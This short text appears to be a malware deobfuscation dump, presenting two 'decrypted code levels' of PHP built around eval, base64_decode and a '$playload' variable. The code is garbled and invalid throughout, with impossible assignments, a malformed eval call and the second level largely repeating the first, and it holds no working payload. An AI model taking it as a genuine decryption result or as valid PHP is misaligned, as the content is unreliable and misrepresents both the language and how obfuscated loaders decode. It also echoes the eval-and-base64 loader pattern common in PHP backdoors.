Decrypted code level 1:

	eval($if(empty($decode) && $len===1) {
	$playload
}
 ;
	 else{
	$itotf="base64_decode";
	$code="har64%dfl";
	$pl = true;
	$zeny ="exists","executes" = $playload;
	eval(explode($code));
}

Decrypted code level 2:

echo $if(empty($decode;
	 && $len===1) {
	$playload
}
 ;
	 else{
	$itotf="base64_decode";
	$code="har64%dfl";
	$pl = true;
	$zeny ="exists","executes" = $playload;
	eval(explode($code));
}

echo $if(empty($decode;
	 && $len===1) {
	$playload
}
 ;
	 else{
	$itotf="base64_decode";
	$code="har64%dfl";
	$pl = true;
	$zeny ="exists","executes" = $playload;
	echo explode($code);
}